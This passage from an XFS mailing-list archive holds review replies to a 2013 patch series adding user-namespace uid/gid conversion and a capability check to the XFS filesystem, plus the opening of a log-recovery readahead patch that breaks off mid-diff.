the changing-project-id rights of un-init user namespace. Thanks > > Changes since v6 patchset (addressing Dave's comments) > - 0006 just do a capable(CAP_SYS_ADMIN) check for XFS_IOC_FREE_EOFBLOCKS > > Changes since v5 patchset (addressing Brian's comments, > only 0005 and 0006 are changed): > - 0005 put all eofblocks validation in xfs_fs_eofblocks_from_user() > - 0006 don't export internal flag, add K to internal flag name, > start internal flags bits at msb (with the intention that other internal > flags would be in descending order) and ensure that it doesn't accidentally > collide with external flags > > Changes since v4 patchset (addressing Dave's comments): > - add parenthesis in if with binary and logical and (EOFBLOCKS flags) > - rename xfs_fs_eofblocks_to_internal -> xfs_fs_eofblocks_from_user and > move conversion validation into it > - fix negative error returns from XFS_IOC_FREE_EOFBLOCKS > - add check for read-only filesystem to XFS_IOC_FREE_EOFBLOCKS > > Changes since v3 patchset: > - export inode_capable() for building xfs as a module > - implement Brian's proposal for an internal flag to indicate to > xfs_inode_free_eofblocks() that it should do a permission check. > ioctl callers will always set this flag, which is simpler than > making them specify XFS_EOF_FLAGS_UID or XFS_EOF_FLAGS_GID, > internal callers can leave it unset so no permission checking is > done > - take Brian's suggestion on moving the policy from the conversion > function into the ioctl code, and moving stuff to xfs_icache.h > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs > From gaofeng@cn.fujitsu.com Wed Jul 31 01:34:50 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 933B67F51 for ; Wed, 31 Jul 2013 01:34:50 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 30BB5AC006 for ; Tue, 30 Jul 2013 23:34:46 -0700 (PDT) X-ASG-Debug-ID: 1375252484-04bdf02f2327fb80001-NocioJ Received: from song.cn.fujitsu.com (cn.fujitsu.com [222.73.24.84]) by cuda.sgi.com with ESMTP id 7Dzyip10HFAJaA4x for ; Tue, 30 Jul 2013 23:34:45 -0700 (PDT) X-Barracuda-Envelope-From: gaofeng@cn.fujitsu.com X-Barracuda-Apparent-Source-IP: 222.73.24.84 X-IronPort-AV: E=Sophos;i="4.89,785,1367942400"; d="scan'208";a="8074868" Received: from unknown (HELO tang.cn.fujitsu.com) ([10.167.250.3]) by song.cn.fujitsu.com with ESMTP; 31 Jul 2013 14:31:43 +0800 Received: from fnstmail02.fnst.cn.fujitsu.com (tang.cn.fujitsu.com [127.0.0.1]) by tang.cn.fujitsu.com (8.14.3/8.13.1) with ESMTP id r6V6YiA6008879; Wed, 31 Jul 2013 14:34:44 +0800 Received: from [10.167.226.30] ([10.167.226.30]) by fnstmail02.fnst.cn.fujitsu.com (Lotus Domino Release 8.5.3) with ESMTP id 2013073114323185-281518 ; Wed, 31 Jul 2013 14:32:31 +0800 Message-ID: <51F8B058.1010308@cn.fujitsu.com> Date: Wed, 31 Jul 2013 14:36:08 +0800 From: Gao feng User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130625 Thunderbird/17.0.7 MIME-Version: 1.0 To: Dwight Engen CC: xfs@oss.sgi.com Subject: Re: [PATCH v7 1/7] xfs: create wrappers for converting kuid_t to/from uid_t References: <20130729230640.5131f5cc@oracle.com> X-ASG-Orig-Subj: Re: [PATCH v7 1/7] xfs: create wrappers for converting kuid_t to/from uid_t In-Reply-To: <20130729230640.5131f5cc@oracle.com> X-MIMETrack: Itemize by SMTP Server on mailserver/fnst(Release 8.5.3|September 15, 2011) at 2013/07/31 14:32:31, Serialize by Router on mailserver/fnst(Release 8.5.3|September 15, 2011) at 2013/07/31 14:32:32, Serialize complete at 2013/07/31 14:32:32 Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=ISO-8859-1 X-Barracuda-Connect: cn.fujitsu.com[222.73.24.84] X-Barracuda-Start-Time: 1375252485 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137454 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 07/30/2013 11:06 AM, Dwight Engen wrote: > Reviewed-by: Dave Chinner > Signed-off-by: Dwight Engen > --- > fs/xfs/xfs_linux.h | 26 ++++++++++++++++++++++++++ > 1 file changed, 26 insertions(+) > looks good to me, thanks! Reviewed-by: Gao feng > diff --git a/fs/xfs/xfs_linux.h b/fs/xfs/xfs_linux.h > index 800f896..761e4c0 100644 > --- a/fs/xfs/xfs_linux.h > +++ b/fs/xfs/xfs_linux.h > @@ -159,6 +159,32 @@ > #define MAX(a,b) (max(a,b)) > #define howmany(x, y) (((x)+((y)-1))/(y)) > > +/* Kernel uid/gid conversion. These are used to convert to/from the on disk > + * uid_t/gid_t types to the kuid_t/kgid_t types that the kernel uses internally. > + * The conversion here is type only, the value will remain the same since we > + * are converting to the init_user_ns. The uid is later mapped to a particular > + * user namespace value when crossing the kernel/user boundary. > + */ > +static inline __uint32_t xfs_kuid_to_uid(kuid_t uid) > +{ > + return from_kuid(&init_user_ns, uid); > +} > + > +static inline kuid_t xfs_uid_to_kuid(__uint32_t uid) > +{ > + return make_kuid(&init_user_ns, uid); > +} > + > +static inline __uint32_t xfs_kgid_to_gid(kgid_t gid) > +{ > + return from_kgid(&init_user_ns, gid); > +} > + > +static inline kgid_t xfs_gid_to_kgid(__uint32_t gid) > +{ > + return make_kgid(&init_user_ns, gid); > +} > + > /* > * Various platform dependent calls that don't fit anywhere else > */ > From gaofeng@cn.fujitsu.com Wed Jul 31 01:50:07 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 1038E7F55 for ; Wed, 31 Jul 2013 01:50:07 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 9C0A0AC009 for ; Tue, 30 Jul 2013 23:50:06 -0700 (PDT) X-ASG-Debug-ID: 1375253404-04cb6c2e9f27ad00001-NocioJ Received: from song.cn.fujitsu.com (cn.fujitsu.com [222.73.24.84]) by cuda.sgi.com with ESMTP id qD9DwjefpSw5SEwy for ; Tue, 30 Jul 2013 23:50:05 -0700 (PDT) X-Barracuda-Envelope-From: gaofeng@cn.fujitsu.com X-Barracuda-Apparent-Source-IP: 222.73.24.84 X-IronPort-AV: E=Sophos;i="4.89,785,1367942400"; d="scan'208";a="8075047" Received: from unknown (HELO tang.cn.fujitsu.com) ([10.167.250.3]) by song.cn.fujitsu.com with ESMTP; 31 Jul 2013 14:47:03 +0800 Received: from fnstmail02.fnst.cn.fujitsu.com (tang.cn.fujitsu.com [127.0.0.1]) by tang.cn.fujitsu.com (8.14.3/8.13.1) with ESMTP id r6V6o1p4010027; Wed, 31 Jul 2013 14:50:01 +0800 Received: from [10.167.226.30] ([10.167.226.30]) by fnstmail02.fnst.cn.fujitsu.com (Lotus Domino Release 8.5.3) with ESMTP id 2013073114474924-282186 ; Wed, 31 Jul 2013 14:47:49 +0800 Message-ID: <51F8B3ED.7040808@cn.fujitsu.com> Date: Wed, 31 Jul 2013 14:51:25 +0800 From: Gao feng User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130625 Thunderbird/17.0.7 MIME-Version: 1.0 To: Dwight Engen CC: xfs@oss.sgi.com Subject: Re: [PATCH v7 2/7] xfs: convert kuid_t to/from uid_t in ACLs References: <20130729230646.715303ed@oracle.com> X-ASG-Orig-Subj: Re: [PATCH v7 2/7] xfs: convert kuid_t to/from uid_t in ACLs In-Reply-To: <20130729230646.715303ed@oracle.com> X-MIMETrack: Itemize by SMTP Server on mailserver/fnst(Release 8.5.3|September 15, 2011) at 2013/07/31 14:47:49, Serialize by Router on mailserver/fnst(Release 8.5.3|September 15, 2011) at 2013/07/31 14:47:49, Serialize complete at 2013/07/31 14:47:49 Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=ISO-8859-1 X-Barracuda-Connect: cn.fujitsu.com[222.73.24.84] X-Barracuda-Start-Time: 1375253404 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137454 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 07/30/2013 11:06 AM, Dwight Engen wrote: > Change permission check for setting ACL to use inode_owner_or_capable() > which will additionally allow a CAP_FOWNER user in a user namespace to > be able to set an ACL on an inode covered by the user namespace mapping. > > Reviewed-by: Dave Chinner > Signed-off-by: Dwight Engen > --- > fs/xfs/xfs_acl.c | 20 ++++++++++++++++---- > 1 file changed, 16 insertions(+), 4 deletions(-) Reviewed-by: Gao feng From gaofeng@cn.fujitsu.com Wed Jul 31 01:58:57 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 065987F58 for ; Wed, 31 Jul 2013 01:58:57 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id A16CBAC007 for ; Tue, 30 Jul 2013 23:58:56 -0700 (PDT) X-ASG-Debug-ID: 1375253935-04bdf02f212812d0001-NocioJ Received: from song.cn.fujitsu.com (cn.fujitsu.com [222.73.24.84]) by cuda.sgi.com with ESMTP id ddKLmoAzoNEtMRFC for ; Tue, 30 Jul 2013 23:58:55 -0700 (PDT) X-Barracuda-Envelope-From: gaofeng@cn.fujitsu.com X-Barracuda-Apparent-Source-IP: 222.73.24.84 X-IronPort-AV: E=Sophos;i="4.89,785,1367942400"; d="scan'208";a="8075142" Received: from unknown (HELO tang.cn.fujitsu.com) ([10.167.250.3]) by song.cn.fujitsu.com with ESMTP; 31 Jul 2013 14:55:53 +0800 Received: from fnstmail02.fnst.cn.fujitsu.com (tang.cn.fujitsu.com [127.0.0.1]) by tang.cn.fujitsu.com (8.14.3/8.13.1) with ESMTP id r6V6wqHo010808; Wed, 31 Jul 2013 14:58:54 +0800 Received: from [10.167.226.30] ([10.167.226.30]) by fnstmail02.fnst.cn.fujitsu.com (Lotus Domino Release 8.5.3) with ESMTP id 2013073114563973-282430 ; Wed, 31 Jul 2013 14:56:39 +0800 Message-ID: <51F8B5FF.2080903@cn.fujitsu.com> Date: Wed, 31 Jul 2013 15:00:15 +0800 From: Gao feng User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130625 Thunderbird/17.0.7 MIME-Version: 1.0 To: Dwight Engen CC: xfs@oss.sgi.com Subject: Re: [PATCH v7 4/7] xfs: convert kuid_t to/from uid_t for internal structures References: <20130729230655.4bd762c6@oracle.com> X-ASG-Orig-Subj: Re: [PATCH v7 4/7] xfs: convert kuid_t to/from uid_t for internal structures In-Reply-To: <20130729230655.4bd762c6@oracle.com> X-MIMETrack: Itemize by SMTP Server on mailserver/fnst(Release 8.5.3|September 15, 2011) at 2013/07/31 14:56:39, Serialize by Router on mailserver/fnst(Release 8.5.3|September 15, 2011) at 2013/07/31 14:56:42, Serialize complete at 2013/07/31 14:56:42 Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=ISO-8859-1 X-Barracuda-Connect: cn.fujitsu.com[222.73.24.84] X-Barracuda-Start-Time: 1375253935 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137454 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 07/30/2013 11:06 AM, Dwight Engen wrote: > Use uint32 from init_user_ns for xfs internal uid/gid > representation in xfs_icdinode, xfs_dqid_t. > > Reviewed-by: Dave Chinner > Signed-off-by: Dwight Engen > --- Reviewed-by: Gao feng From gaofeng@cn.fujitsu.com Wed Jul 31 02:08:32 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 3F27E7F5A for ; Wed, 31 Jul 2013 02:08:32 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id D034AAC003 for ; Wed, 31 Jul 2013 00:08:28 -0700 (PDT) X-ASG-Debug-ID: 1375254506-04cbb02c3c27bec0001-NocioJ Received: from song.cn.fujitsu.com (cn.fujitsu.com [222.73.24.84]) by cuda.sgi.com with ESMTP id 2J1cQXO5179Iuyu9 for ; Wed, 31 Jul 2013 00:08:27 -0700 (PDT) X-Barracuda-Envelope-From: gaofeng@cn.fujitsu.com X-Barracuda-Apparent-Source-IP: 222.73.24.84 X-IronPort-AV: E=Sophos;i="4.89,785,1367942400"; d="scan'208";a="8075269" Received: from unknown (HELO tang.cn.fujitsu.com) ([10.167.250.3]) by song.cn.fujitsu.com with ESMTP; 31 Jul 2013 15:05:22 +0800 Received: from fnstmail02.fnst.cn.fujitsu.com (tang.cn.fujitsu.com [127.0.0.1]) by tang.cn.fujitsu.com (8.14.3/8.13.1) with ESMTP id r6V78Mhi011639; Wed, 31 Jul 2013 15:08:22 +0800 Received: from [10.167.226.30] ([10.167.226.30]) by fnstmail02.fnst.cn.fujitsu.com (Lotus Domino Release 8.5.3) with ESMTP id 2013073115061052-282769 ; Wed, 31 Jul 2013 15:06:10 +0800 Message-ID: <51F8B83A.60100@cn.fujitsu.com> Date: Wed, 31 Jul 2013 15:09:46 +0800 From: Gao feng User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130625 Thunderbird/17.0.7 MIME-Version: 1.0 To: Dwight Engen CC: xfs@oss.sgi.com Subject: Re: [PATCH v7 5/7] xfs: create internal eofblocks structure with kuid_t types References: <20130729230700.6d07bf73@oracle.com> X-ASG-Orig-Subj: Re: [PATCH v7 5/7] xfs: create internal eofblocks structure with kuid_t types In-Reply-To: <20130729230700.6d07bf73@oracle.com> X-MIMETrack: Itemize by SMTP Server on mailserver/fnst(Release 8.5.3|September 15, 2011) at 2013/07/31 15:06:10, Serialize by Router on mailserver/fnst(Release 8.5.3|September 15, 2011) at 2013/07/31 15:06:10, Serialize complete at 2013/07/31 15:06:10 Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=ISO-8859-1 X-Barracuda-Connect: cn.fujitsu.com[222.73.24.84] X-Barracuda-Start-Time: 1375254506 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137454 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 07/30/2013 11:07 AM, Dwight Engen wrote: > Have eofblocks ioctl convert uid_t to kuid_t into internal structure. > Update internal filter matching to compare ids with kuid_t types. > > Reviewed-by: Brian Foster > Signed-off-by: Dwight Engen > --- Reviewed-by: Gao feng From gaofeng@cn.fujitsu.com Wed Jul 31 02:12:53 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id BC00B7F5A for ; Wed, 31 Jul 2013 02:12:53 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 46456AC008 for ; Wed, 31 Jul 2013 00:12:53 -0700 (PDT) X-ASG-Debug-ID: 1375254771-04cb6c2e9d27c4e0001-NocioJ Received: from song.cn.fujitsu.com (cn.fujitsu.com [222.73.24.84]) by cuda.sgi.com with ESMTP id 2oTJrYFrcOgtNpZM for ; Wed, 31 Jul 2013 00:12:51 -0700 (PDT) X-Barracuda-Envelope-From: gaofeng@cn.fujitsu.com X-Barracuda-Apparent-Source-IP: 222.73.24.84 X-IronPort-AV: E=Sophos;i="4.89,785,1367942400"; d="scan'208";a="8075309" Received: from unknown (HELO tang.cn.fujitsu.com) ([10.167.250.3]) by song.cn.fujitsu.com with ESMTP; 31 Jul 2013 15:09:48 +0800 Received: from fnstmail02.fnst.cn.fujitsu.com (tang.cn.fujitsu.com [127.0.0.1]) by tang.cn.fujitsu.com (8.14.3/8.13.1) with ESMTP id r6V7Cmb6012028; Wed, 31 Jul 2013 15:12:48 +0800 Received: from [10.167.226.30] ([10.167.226.30]) by fnstmail02.fnst.cn.fujitsu.com (Lotus Domino Release 8.5.3) with ESMTP id 2013073115103614-282895 ; Wed, 31 Jul 2013 15:10:36 +0800 Message-ID: <51F8B944.1060807@cn.fujitsu.com> Date: Wed, 31 Jul 2013 15:14:12 +0800 From: Gao feng User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130625 Thunderbird/17.0.7 MIME-Version: 1.0 To: Dwight Engen CC: xfs@oss.sgi.com Subject: Re: [PATCH v7 6/7] xfs: add capable check to free eofblocks ioctl References: <20130729230705.128e4509@oracle.com> X-ASG-Orig-Subj: Re: [PATCH v7 6/7] xfs: add capable check to free eofblocks ioctl In-Reply-To: <20130729230705.128e4509@oracle.com> X-MIMETrack: Itemize by SMTP Server on mailserver/fnst(Release 8.5.3|September 15, 2011) at 2013/07/31 15:10:36, Serialize by Router on mailserver/fnst(Release 8.5.3|September 15, 2011) at 2013/07/31 15:10:36, Serialize complete at 2013/07/31 15:10:36 Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=ISO-8859-1 X-Barracuda-Connect: cn.fujitsu.com[222.73.24.84] X-Barracuda-Start-Time: 1375254771 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137454 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words On 07/30/2013 11:07 AM, Dwight Engen wrote: > Check for CAP_SYS_ADMIN since the caller can truncate preallocated > blocks from files they do not own nor have write access to. A more > fine grained access check was considered: require the caller to > specify their own uid/gid and to use inode_permission to check for > write, but this would not catch the case of an inode not reachable > via path traversal from the callers mount namespace. > > Add check for read-only filesystem to free eofblocks ioctl. > > Signed-off-by: Dwight Engen > --- Reviewed-by: Gao feng From gaofeng@cn.fujitsu.com Wed Jul 31 02:19:16 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 180427F5F for ; Wed, 31 Jul 2013 02:19:16 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id DDA288F8064 for ; Wed, 31 Jul 2013 00:19:12 -0700 (PDT) X-ASG-Debug-ID: 1375255151-04bdf02f202825a0001-NocioJ Received: from song.cn.fujitsu.com (cn.fujitsu.com [222.73.24.84]) by cuda.sgi.com with ESMTP id divDhiyXQQ3iR9F3 for ; Wed, 31 Jul 2013 00:19:11 -0700 (PDT) X-Barracuda-Envelope-From: gaofeng@cn.fujitsu.com X-Barracuda-Apparent-Source-IP: 222.73.24.84 X-IronPort-AV: E=Sophos;i="4.89,785,1367942400"; d="scan'208";a="8075371" Received: from unknown (HELO tang.cn.fujitsu.com) ([10.167.250.3]) by song.cn.fujitsu.com with ESMTP; 31 Jul 2013 15:16:10 +0800 Received: from fnstmail02.fnst.cn.fujitsu.com (tang.cn.fujitsu.com [127.0.0.1]) by tang.cn.fujitsu.com (8.14.3/8.13.1) with ESMTP id r6V7JAv2012656; Wed, 31 Jul 2013 15:19:10 +0800 Received: from [10.167.226.30] ([10.167.226.30]) by fnstmail02.fnst.cn.fujitsu.com (Lotus Domino Release 8.5.3) with ESMTP id 2013073115165777-283111 ; Wed, 31 Jul 2013 15:16:57 +0800 Message-ID: <51F8BAC2.8090008@cn.fujitsu.com> Date: Wed, 31 Jul 2013 15:20:34 +0800 From: Gao feng User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130625 Thunderbird/17.0.7 MIME-Version: 1.0 To: Dwight Engen CC: xfs@oss.sgi.com Subject: Re: [PATCH v7 7/7] enable building user namespace with xfs References: <20130729230709.11033b2d@oracle.com> X-ASG-Orig-Subj: Re: [PATCH v7 7/7] enable building user namespace with xfs In-Reply-To: <20130729230709.11033b2d@oracle.com> X-MIMETrack: Itemize by SMTP Server on mailserver/fnst(Release 8.5.3|September 15, 2011) at 2013/07/31 15:16:57, Serialize by Router on mailserver/fnst(Release 8.5.3|September 15, 2011) at 2013/07/31 15:16:58, Serialize complete at 2013/07/31 15:16:58 Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=ISO-8859-1 X-Barracuda-Connect: cn.fujitsu.com[222.73.24.84] X-Barracuda-Start-Time: 1375255151 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137454 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 07/30/2013 11:07 AM, Dwight Engen wrote: >>From e6a9ee0cfa0ed40484f66bc1726dc19de36038b8 Mon Sep 17 00:00:00 2001 > From: Dwight Engen > Date: Tue, 2 Jul 2013 09:52:54 -0400 > Subject: [PATCH 7/7] enable building user namespace with xfs > > Signed-off-by: Dwight Engen > --- looks good to me, thanks :) Reviewed-by: Gao feng From zwu.kernel@gmail.com Wed Jul 31 03:42:05 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 59B927F5F for ; Wed, 31 Jul 2013 03:42:05 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 46BD78F8066 for ; Wed, 31 Jul 2013 01:42:05 -0700 (PDT) X-ASG-Debug-ID: 1375260123-04cb6c2e9f281050001-NocioJ Received: from e7.ny.us.ibm.com (e7.ny.us.ibm.com [32.97.182.137]) by cuda.sgi.com with ESMTP id lsUVWDeiDawU6ZRh (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 31 Jul 2013 01:42:03 -0700 (PDT) X-Barracuda-Envelope-From: zwu.kernel@gmail.com X-Barracuda-Apparent-Source-IP: 32.97.182.137 Received: from /spool/local by e7.ny.us.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted for from ; Wed, 31 Jul 2013 04:42:03 -0400 Received: from d01dlp01.pok.ibm.com (9.56.250.166) by e7.ny.us.ibm.com (192.168.1.107) with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted; Wed, 31 Jul 2013 04:42:01 -0400 Received: from d01relay02.pok.ibm.com (d01relay02.pok.ibm.com [9.56.227.234]) by d01dlp01.pok.ibm.com (Postfix) with ESMTP id 1050D38C8039 for ; Wed, 31 Jul 2013 04:41:59 -0400 (EDT) Received: from d01av01.pok.ibm.com (d01av01.pok.ibm.com [9.56.224.215]) by d01relay02.pok.ibm.com (8.13.8/8.13.8/NCO v10.0) with ESMTP id r6V8g0AU157610 for ; Wed, 31 Jul 2013 04:42:00 -0400 Received: from d01av01.pok.ibm.com (loopback [127.0.0.1]) by d01av01.pok.ibm.com (8.14.4/8.13.1/NCO v10.0 AVout) with ESMTP id r6V8fwIk014985 for ; Wed, 31 Jul 2013 04:42:00 -0400 Received: from us.ibm.com (f17.cn.ibm.com [9.115.122.140]) by d01av01.pok.ibm.com (8.14.4/8.13.1/NCO v10.0 AVin) with SMTP id r6V8fsbX014593; Wed, 31 Jul 2013 04:41:55 -0400 Received: by us.ibm.com (sSMTP sendmail emulation); Wed, 31 Jul 2013 16:42:46 +0800 From: zwu.kernel@gmail.com To: xfs@oss.sgi.com Cc: linux-fsdevel@vger.kernel.org, linux-kernel@vger.kernel.org, Zhi Yong Wu Subject: [PATCH v3] xfs: introduce object readahead to log recovery Date: Wed, 31 Jul 2013 16:42:45 +0800 X-ASG-Orig-Subj: [PATCH v3] xfs: introduce object readahead to log recovery Message-Id: <1375260165-8773-1-git-send-email-zwu.kernel@gmail.com> X-Mailer: git-send-email 1.7.11.7 X-TM-AS-MML: No X-Content-Scanned: Fidelis XPS MAILER x-cbid: 13073108-5806-0000-0000-000022405D07 X-Barracuda-Connect: e7.ny.us.ibm.com[32.97.182.137] X-Barracuda-Start-Time: 1375260123 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=NO_REAL_NAME X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137454 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 NO_REAL_NAME From: does not include a real name From: Zhi Yong Wu It can take a long time to run log recovery operation because it is single threaded and is bound by read latency. We can find that it took most of the time to wait for the read IO to occur, so if one object readahead is introduced to log recovery, it will obviously reduce the log recovery time. Log recovery time stat: w/o this patch w/ this patch real: 0m15.023s 0m7.802s user: 0m0.001s 0m0.001s sys: 0m0.246s 0m0.107s Signed-off-by: Zhi Yong Wu --- fs/xfs/xfs_log_recover.c | 159 +++++++++++++++++++++++++++++++++++++++++++++-- 1 file changed, 153 insertions(+), 6 deletions(-) diff --git a/fs/xfs/xfs_log_recover.c b/fs/xfs/xfs_log_recover.c index 7681b19..ebb00bc 100644 --- a/fs/xfs/xfs_log_recover.c +++ b/fs/xfs/xfs_log_recover.c @@ -3116,6 +3116,106 @@ xlog_recover_free_trans( kmem_free(trans); } +STATIC void +xlog_recover_buffer_ra_pass2( + struct xlog *log, + struct xlog_recover_item *item) +{ + struct xfs_buf_log_format *buf_f = item->ri_buf[0].i_addr; + struct xfs_mount *mp = log->l_mp; + + if (xlog_check_buffer_cancelled(log, buf_f->blf_blkno, + buf_f->blf_len, buf_f->blf_flags)) { + return; + } + + xfs_buf_readahead(mp->m_ddev_targp, buf_f->blf_blkno, + buf_f->blf_len, NULL); +} + +STATIC void +xlog_recover_inode_ra_pass2( + struct xlog *log, + struct xlog_recover_item *item) 